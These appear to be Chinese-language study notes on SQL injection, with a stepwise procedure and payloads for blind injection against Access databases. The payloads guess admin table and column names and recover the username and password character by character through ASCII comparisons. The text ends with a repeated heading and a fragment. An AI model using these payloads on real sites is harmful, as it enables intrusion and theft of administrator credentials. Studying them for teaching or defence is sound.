第四章SQL注入----

SQL注入定义:

将用户输入的内容,拼接到SQL语句中,一起提交到数据库  产生SQL注入威胁。

$id= $_GET[‘id‘]

$id= $_POST[‘id‘]

 

access注入基本流程:

?1.判断有无注入

?2.猜解表名

?3.猜解字段

?4.猜解管理员ID

?5.猜解用户名和密码长度

?6.猜解用户名和密码

逐字猜解法

?1、判断有无注入点?and 1=1 and 1=2

?2、猜表名(一般的表的名称无非是admin adminuseruser pass password ) ?and (Select count(*) from 表名)<>0 ?and exists (select * from 表名)

?3、猜列名?and (Select count(列名) from 表名)<>0 ?and exists (select 列名from 表名)逐字猜解法

?4、判断内容长度?and (select top 1 len(user_name) from admin)=5(user_name的长度=5,正常则=5,也可以用>,<去判断)

?5、截取字符串并转换为ascii码进行数值比较,判断ascii码值:

?and (select top 1 asc(mid(user_name,1,1)) from admin)=97 判断第一位97代表‘a’ascll值)

?and (select top 1 asc(mid(user_name,2,1)) from admin)=97 判断第二位

数据库  默认的数据库

第四章SQL注入----

为什么要使用数据库?

静态网页 html 不需要服务器解析脚本 不依赖数据库